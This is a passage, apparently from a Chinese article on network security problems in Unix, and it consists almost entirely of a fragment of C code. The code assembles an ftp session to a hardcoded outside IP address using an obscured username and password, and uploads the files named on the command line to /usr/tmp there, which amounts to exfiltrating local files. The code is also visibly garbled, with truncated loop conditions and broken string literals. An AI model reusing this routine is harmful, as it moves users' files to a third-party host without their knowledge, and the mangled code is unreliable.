Unix操作系统网络相关的两个安全问题( 三 )


ip1=106.73;ip2=168.13;
printf(“f 从本机数据:
);
for(i=1;i
{
sprintf(runl,“l %s,argv[i]);
system(runl);
}
sprintf(ftpcmd,“%s%s -n -i %.2f.%.2f <
sprintf(ftpcmd,“%s%s %c%c%c%c %s
,ftpcmd,us,u1,u2,u3,u4,pw);
sprintf(ftpcmd,“%scd /usr/tmp
,ftpcmd);
for(i=1;i
{
sprintf(ftpcmd,“%sput %s
,ftpcmd,argv[i]);
sprintf(ftpcmd,“%sls %s
,ftpcmd,argv[i]);
}
sprintf(ftpcmd,“%sCMD
,ftpcmd);
printf(“
正在发送……
);
fftp=popen(ftpcmd,“r);
i=0;
while(fgets(ftpprt,256,fftp)!=NULL)
{
i++;
if(i>0) 
printf(“%s,ftpprt);
}
pclose(fftp);
}
}

推荐阅读